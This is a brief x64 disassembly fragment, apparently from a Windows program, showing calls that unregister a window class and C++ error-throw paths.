mov rdx, qword [rbp + 0x4b8]
mov rcx, qword [rbp + 0x4e0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x140047abd
call fcn.140047df0
mov rdx, qword [rbp + 0x4b8]
mov rcx, qword [rbp + 0x4e0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r13d
jmp 0x140047b14
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp - 0x28], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3